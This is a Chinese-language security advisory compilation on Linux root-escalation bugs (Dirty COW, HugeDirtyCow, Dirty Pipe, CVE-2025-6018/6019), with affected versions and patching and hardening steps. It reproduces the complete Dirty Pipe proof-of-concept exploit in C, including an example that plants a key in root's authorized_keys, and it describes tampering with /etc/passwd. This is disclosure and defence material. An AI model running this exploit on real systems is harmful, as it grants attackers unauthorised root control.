Linux严重提权漏洞集
2016-10-29 20:34:09 阿炯

Linux官方爆出了“脏牛”漏洞(代号:Dirty COW,编号:CVE-2016-5195),攻击者可利用该漏洞本地以低权限提升到root权限。该漏洞又称为 Dirty COW。Dirty COW 是一个特权升级漏洞,可以在每个Linux发行版中找到。这个漏洞的特别之处在于,防病毒和安全软件无法检测,一旦被利用,用户根本无从知晓。


为避免服务器受影响,请尽快检查其上的内核版本是否受影响,并及时关注漏洞修复通告信息。Linux Kernel维护者已经释出补丁修复该漏洞,而Linux发行版也正在释出更新。

红帽官网表示,Dirty COW漏洞利用Linux内核的内存子系统处理和只读存储器映射写入时的竞争条件,黑客可以使用这个缺陷来获得对其它只读存储器映射的写入访问,从而增加它们在系统上的特权。

安全研究员Dan Rosenberg认为它可能是至今最严重的Linux本地提权漏洞。该漏洞允许拥有部分访问权限的攻击者提权获取更大的访问权限,它能被用于攻击提供shell访问的Web托管商,它的客户可以攻击其它客户甚至系统管理员。


【漏洞详情】:Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞以欺骗系统修改可读的用户空间代码然后执行,一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,比如攻击者修改存在的**id文件去提升权限。

【漏洞风险】:高,可实现本地提权

【影响版本】:该漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权,受影响的镜像版本为:
CentOS 5.x  32位/64位
CentOS 6.x  32位/64位  
CentOS 7.x  32位/64位  
CoreOS 717.3.0 64位
Debian 6.x  32位(Debian官方已停止更新,建议使用Debian7、Debian8版本)
Debian 7.x  32位/64位
Debian 8.x  32位/64位
openSUSE 12.3 32位/64位
openSUSE 13.2 64位
SUSE Linux Enterprise Server 11 SP3 64位
SUSE Linux Enterprise Server 12 64位
Ubuntu Server 10.04.1 LTS 32位/64位(Ubuntu官方已停止更新,建议使用Ubuntu 14.04版本)
Ubuntu Server 12.04.1 LTS 32位/64位
Ubuntu Server 14.04.1 LTS 32位/64位
 
【修复建议】:
1)、提前做好数据备份工作,避免内核修复后意外情况。

2)、使用uname –a查看Linux系统的内核版本,或比照【影响版本】确认是否在受影响版本范围,如果在受影响版本,则可按照如下修复建议进行修复:

CentOS用户:由于CentOS系列官方尚未发布官方修复版本,待发布后请及时更新修复。

Ubuntu用户:运行sudo apt-get update;sudo apt-get upgrade进行系统更新,更新后重启系统生效

Debian用户:运行apt-get update;apt-get upgrade进行系统更新,更新后重启系统生效

SUSE Linux Enterprise Server用户及OpenSUSE用户:openSUSE 13.2 64位官方暂未发布补丁,其他版本可运行zypper refresh;zypper update kernel-default进行系统更新,更新后重启系统生效

CoreOS用户:运行update_engine_client -update,更新后重启系统生效

该漏洞的存在时间已经长达9年,事实上影响所有的Linux操作系统,Linux开发者Phil Oester发现它正被积极利用,安全人员建议用户应该尽快修补漏洞。


脏牛内核漏洞修复补丁存在缺陷-大脏牛漏洞来袭

Bindecy研究人员指出,2016年在Linux系统中发现的“脏奶牛”漏洞(CVE-2016-5195)并未得到完全修复。


不完整的“脏奶牛”修复补丁

“脏奶牛”漏洞源自Linux内核中的内存子系统在处理私有只读内存映射的写时拷贝(简称COW,即‘奶牛’的由来)时,会因争夺而引发破坏性结果。漏洞发现者菲尔·奥斯特(Phil Oester)意识到,黑客可以使用这个缺陷来获得对其它只读存储器映射的写入访问,从而增加它们在系统上的特权。

此项安全漏洞随后还被发现会影响到Android系统,甚至可能会脱离容器控制。而且在谷歌方面发布漏洞修复补丁后不久,攻击者就设计出了新的、能够利用Android缺陷的脏奶牛攻击手段。

2017年9月,研究人员们发现了利用该漏洞的最新恶意软件家族。

Bindecy方面指出,“脏奶牛”漏洞是目前公布的最具知名度的安全漏洞之一,且会对过去十年来包括Android在内的一切Linux版本造成影响,因此所对应的修复补丁一直受到高度关注。也正因为如此,在补丁发布的一年多之后,仍然鲜有人意识到其并不完整。

回顾“脏奶牛”漏洞

原本的安全漏洞会影响到get_user_page函数,其被用于获取用户进程内虚拟地址之后的物理页。基本上,该bug允许攻击者向只读权限页版本中写入内容。

此项安全漏洞的修复补丁并不会降低所请求的权限。相反,研究人员们解释称“get_user_page如今会记住我们通过了COW循环的事实。”

因此,在下一次迭代时,则只读页仅在指定有FOLL_FORCE 与FOLL_COW标记,且PTE被标记为dirty的情况下方可接受写入操作。

安全研究人员们指出,问题在于该补丁“设定某页的只读高受限复制永远不会被标记为dirty的PTE所指定。”


透明巨大页内存管理(THP)

Bindecy研究人员发现,该安全漏洞目前仍会影响到透明巨大页(Transparent Huge Pages,简称THP,是一种Linux内存管理系统,可以通过使用更大的内存页来减少对带有大量内存的机器Translation Lookaside Buffer (TLB)的开销。)与页中目录(简称PMD,属于PTE层上的一层)。

尽管Linux通常会使用4096字节长度的页,但THP的长度往往可以达到2 MB——不过后者会经过拆分以保持正常页长度。一般来讲,默认THP支持仅被用于匿名映射,并可以在系统运行时进行开启或关闭。

THP的实现源自启用PMD中的_PAGE_PS bit,如此一来PMD中的结果将会指向一个2 MB的物理页,而非PTE目录。研究人员们发现,脏奶牛补丁代码实际上处理的是包含有can_follow_write_pmd函数的THP,而其基本逻辑类似于指向巨大PMD的can_follow_write_pte。

但根据研究人员们的说法,对于巨大PMD,问题在于“未通过COW循环的页同样可以利用touch_pmd函数被标记为dirty。”每当get_user_page尝试获取一个巨大页,该页中的一条被调用函数结果就会被标记为dirty,而无需真正通过COW循环。因此,can_follow_write_pmd的逻辑将无法成立。

Bindecy研究人员指出,“在这种情况下,攻击者能够轻松利用这项bug——可以使用与原本脏奶牛攻击类似的手段。这一次,在回避目标页的复制版本后,需要对原始页进行两次处理——第一次使其存在,第二次启动其dirty bit。”

POC

安全研究人员们透露了几种漏洞利用场景,并发布了一项概念验证方案以展示利用方法。他们还于上周将此项安全漏洞(编号为CVE-2017-1000405)发送至内核与发行版邮件联系人列表,同时提交了由其开发的补丁。


研究人员们总结称,“此项bug再次重申了补丁审计在安全开发生命周期当中的重要性。由于脏奶牛以及其它以往案例的存在,可以发现即使是高关注度漏洞也可能得不到完善的补丁修复。这种情况不仅出现在闭源软件层面,开源软件也同样会受到影响。”

HugeDirtyCow POC地址:https://github.com/bindecy/HugeDirtyCowPOC


Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)


2022年3月上旬消息,来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞:脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847


据介绍,此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据,从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。Max 表示,“脏管道”漏洞与几年前的“脏牛”类似,所以采用了相似的名字,不过前者更容易被利用。此外该漏洞目前已被黑客利用,研究人员建议尽快升级版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。

Max 在文章中提供了漏洞 PoC。

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2]){
    if (pipe(p)) abort();

    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];

    /* fill the pipe completely; each pipe_buffer will now have
       the PIPE_BUF_FLAG_CAN_MERGE flag */
    for (unsigned r = pipe_size; r > 0;){
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }

    /* drain the pipe, freeing all pipe_buffer instances (but
       leaving the flags initialized) */
    for (unsigned r = pipe_size; r > 0;){
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }

    /* the pipe is now empty, and if somebody adds a new
       pipe_buffer without initializing its "flags", the buffer
       will be mergeable */
}

int main(int argc, char **argv){
    if (argc != 4) {
        fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
        return EXIT_FAILURE;
    }

    /* dumb command-line argument parser */
    const char *const path = argv[1];
    loff_t offset = strtoul(argv[2], NULL, 0);
    const char *const data = argv[3];
    const size_t data_size = strlen(data);

    if (offset % PAGE_SIZE == 0){
        fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
        return EXIT_FAILURE;
    }

    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = offset + (loff_t)data_size;
    if (end_offset > next_page){
        fprintf(stderr, "Sorry, cannot write across a page boundary\n");
        return EXIT_FAILURE;
    }

    /* open the input file and validate the specified offset */
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    if (fd < 0){
        perror("open failed");
        return EXIT_FAILURE;
    }

    struct stat st;
    if (fstat(fd, &st)){
        perror("stat failed");
        return EXIT_FAILURE;
    }

    if (offset > st.st_size){
        fprintf(stderr, "Offset is not inside the file\n");
        return EXIT_FAILURE;
    }

    if (end_offset > st.st_size){
        fprintf(stderr, "Sorry, cannot enlarge the file\n");
        return EXIT_FAILURE;
    }

    /* create the pipe with all flags initialized with
       PIPE_BUF_FLAG_CAN_MERGE */
    int p[2];
    prepare_pipe(p);

    /* splice one byte from before the specified offset into the
       pipe; this will add a reference to the page cache, but
       since copy_page_to_iter_pipe() does not initialize the
       "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0){
        perror("splice failed");
        return EXIT_FAILURE;
    }
    if (nbytes == 0) {
        fprintf(stderr, "short splice\n");
        return EXIT_FAILURE;
    }

    /* the following write will not create a new pipe_buffer, but
       will instead write into the page cache, because of the
       PIPE_BUF_FLAG_CAN_MERGE flag */
    nbytes = write(p[1], data, data_size);
    if (nbytes < 0){
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size){
        fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }

    printf("It worked!\n");
    return EXIT_SUCCESS;
}

据介绍,本地用户可以将自己的数据注入敏感的只读文件,消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例,修改后可直接取消 root 用户的密码,然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现,使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。最后建议检查所使用的 Linux 服务器的内核版本,若是 5.8 以上的版本请尽快升级。

脏管道 (Dirty Pipe) 漏洞时间线:
2022-02-20:向 Linux 内核安全团队发送错误报告、漏洞利用和补丁
2022-02-21:在 Google Pixel 6 上复现错误,并向 Android 安全团队发送错误报告
2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议,将补丁发送到 LKML(不含漏洞详细信息)
2022-02-23:发布包含错误修复的 Linux 稳定版本 (5.16.11、5.15.25、5.10.102)
2022-02-24:Google 将错误修复合并到 Android 内核
2022-02-28:通知 linux-distros 邮件列表
2022-03-07:公开披露


Linux在2025年6月报出两个超级提权漏洞

2025年6月17日,Qualys研究团队披露了两个关键的Linux漏洞:CVE-2025-6018和CVE-2025-6019。该漏洞可以链式利用,允许攻击者从普通角色提升到root角色,影响多个Linux发行版本,包括Ubuntu、Debian、Fedora、openSUSE Leap 15和SUSE Enterprise 15。该漏洞只需要SSH登录就可以触发。

漏洞详情
以下是两个漏洞的核心信息:
漏洞CVE受影响组件影响受影响的发行版
本地权限提升CVE-2025-6018PAM 配置授予 "allow_active" 状态,启用特权操作openSUSE Leap 15, SUSE Linux Enterprise 15
根访问权限漏洞CVE-2025-6019libblockdev 通过 udisks 守护进程结合 CVE-2025-6018 时,启用完全根访问权限Ubuntu, Debian, Fedora, openSUSE Leap 15

关键风险
完全系统接管:黑客可获得root权限,控制系统和更改所有数据。
规避端点检测:黑客可以绕过常见监控工具。
持久后门:黑客可无感知留后门,从而实现长期控制系统。
横向移动:黑客可利该漏洞攻击网络中的其他设备。

技术背景
PAM(Pluggable Authentication Modules)
PAM 是 Linux 系统中的一个用户认证框架模块,它可以通过配置文件例如: /etc/pam.d/ 或者 /etc/pam.conf 中来管理和定义认证策略。CVE-2025-6018 漏洞源于 PAM 配置中的一个漏洞,具体来说就是允许远程用户(例如通过 SSH 登录)获得 "allow_active" 的状态。通常这个状态只会授予本地登陆的用户(比如通过控制台登录),但配置错误会导致远程用户也能获得特权。

polkit(PolicyKit)
polkit 是一个权限管理框架,用于控制非root用户对root权限操作的访问(如挂载设备或修改系统设置等)。CVE-2025-6019 利用了 polkit 的默认规则,特别是 org.freedesktop.udisks2.modify-device,当其设置为 allow_active=yes 时,允许用户无需认证即可执行这些root权限的动作。

libblockdev 和 udisks
libblockdev:一个 C 语言库,用于与块设备(如硬盘、分区)交互,提供对存储设备的底层操作支持。
udisks2:通过 D-Bus 接口提供用户空间对存储设备的访问,依赖 libblockdev。CVE-2025-6019 的漏洞存在于 libblockdev 中,通过 udisks 守护进程允许黑客执行root角色的操作。

漏洞利用机制
Qualys 研究团队通过概念验证(PoC)代码,证明了这些漏洞在受影响发行版上是可以执行的。流程如下:
1.CVE-2025-6018:通过 SSH 登录,利用 PAM 配置错误获得 "allow_active" 状态。
2.CVE-2025-6019:利用 libblockdev 的漏洞,通过 udisks 守护进程执行root角色操作,结合 CVE-2025-6018 的特权状态,最终获得root权限。

这种攻击链利用了系统中原生的服务(如 udisks 和 PAM),无需额外工具。

libblockdev 是 Linux 上用于块设备管理的底层库,提供统一接口支持分区、文件系统、LVM 和加密等操作。udisks 是基于 D-Bus 的服务,封装调用 libblockdev 等工具,为桌面环境和应用程序提供挂载、格式化等存储管理功能。

本地提权漏洞受影响版本中,libblockdev 在挂载磁盘分区时遗漏 nosuid 安全标志,导致可在挂载点执行具备特殊权限(如 root 权限)的文件。攻击者拥有 allow_active 权限时,可利用该缺陷挂载恶意文件并执行,进而获取 root 权限。由于 libblockdev 默认在较多 Linux 发行版中提供,该漏洞影响 Ubuntu、Debian、Fedora、openSUSE 等主流发行版,但由于 allow_active 权限限制,通常难以单独利用,在 SUSE 系统中可结合 CVE-2025-6018 漏洞可将 ssh 远程低权限用户提升为 allow_active 用户实现远程利用。

修复版本通过弃用系统默认挂载选项,显式添加 nosuid 和 nodev,防止本地提权漏洞。

libblockdev修复方案
将组件升级至 v2.30 v3.2.2 v3.3.1 及以上版本。

哪些版本值得关注?
管理员需检查系统是否运行以下受影响的发行版:

openSUSE Leap 15 和 SUSE Linux Enterprise 15(CVE-2025-6018 和 CVE-2025-6019)
Debian、Ubuntu、Fedora(CVE-2025-6019)

检查方法:
查libblockdev 和 udisks2 的版本:
Debian/Ubuntu:dpkg -l | grep libblockdev 或 dpkg -l | grep udisks2
Fedora:dnf list libblockdev 或 dnf list udisks2
openSUSE:zypper info libblockdev 或 zypper info udisks2

检查 PAM 配置文件(如 /etc/pam.d/sshd)是否存在 user_readenv=1 设置。

补救措施
1. 立即打补丁
各发行版已发布或正在发布补丁,具体如下:
发行版包名版本安全公告
Debian bullseye (11)libblockdev2.25-2+deb11u1DLA-4221-1
Debian bookworm (12)libblockdev2.28-2+deb12u1DSA-5943-1
Debian sid/trixielibblockdev3.3.0-2.1Debian Tracker
Ubuntu 25.04 (plucky)libblockdev3.3.0-2ubuntu0.1Ubuntu CVE-2025-6019
Ubuntu 24.10 (oracular)libblockdev3.1.1-2ubuntu0.1Ubuntu CVE-2025-6019
Ubuntu 24.04 (noble)libblockdev3.1.1-1ubuntu0.1Ubuntu CVE-2025-6019
Ubuntu 22.04 (jammy)libblockdev2.26-1ubuntu0.1Ubuntu CVE-2025-6019
Ubuntu 20.04 (focal)libblockdev2.23-2ubuntu3+esm1Ubuntu CVE-2025-6019
Ubuntu 18.04 (bionic)libblockdev2.16-2ubuntu0.1~esm1Ubuntu CVE-2025-6019
Fedoralibblockdev, udisks2最新版本待确认,建议运行 dnf update

注意:
Ubuntu 对 CVE-2025-6018 不受影响,因其未在远程认证配置文件中设置 user_readenv=1。
Fedora 的补丁信息尚未公开,建议管理员定期检查 Fedora 安全更新。

操作步骤:
Debian/Ubuntu:运行 apt update && apt upgrade。
Fedora:运行 dnf update。
openSUSE:运行 zypper update。

2. 修改 polkit 规则
默认的 polkit 规则可能允许未经认证的操作,需调整 org.freedesktop.udisks2.modify-device 规则以要求管理员认证。

修改步骤:
创建或编辑 /etc/polkit-1/rules.d/50-local.rules 文件:
polkit.addRule(function(action, subject) {
    if (action.id == "org.freedesktop.udisks2.modify-device") {
        return polkit.Result.AUTH_ADMIN;
    }
});

保存并重启 polkit 服务:systemctl restart polkit。
验证配置生效:尝试以非管理员用户执行设备操作,应提示认证。
注意:不同发行版的 polkit 配置路径可能略有差异,建议参考官方文档。

3. 加强 SSH 安全性
由于漏洞可通过 SSH 登录利用,需加强 SSH 配置:
禁用 root 登录:编辑 /etc/ssh/sshd_config,设置 PermitRootLogin no。
使用密钥认证:生成 SSH 密钥对,禁用密码登录(PasswordAuthentication no)。
限制访问:使用 AllowUsers 或 AllowGroups 限制 SSH 用户。
启用防火墙:使用 ufw 或 firewalld 限制 SSH 访问来源 IP。

重启 SSH 服务:systemctl restart sshd。

4. 系统监控与检测
管理员应监控系统以发现潜在入侵迹象:
使用 auditd:配置审计规则,监控系统调用和重要文件是否有变更。
auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /etc/shadow -p wa -k shadow_changes
部署 IDS:使用 OSSEC 或 Tripwire 检测异常活动。
检查日志:定期审查 /var/log/auth.log 或 /var/log/secure,寻找异常登录或命令执行。

5. 备份与恢复
定期备份:使用工具如 rsync 或 Timeshift 备份系统关键数据。
测试恢复:定期验证备份可用性,确保在系统被接管时可快速恢复。
隔离备份:将备份存储在离线或只读介质上,防止被恶意软件破坏。

小结
CVE-2025-6018和CVE-2025-6019是linux系统的一个重要的漏洞。系统工程师应给足够的重视、调整polkit配置,加固SSH,并实施监控和备份。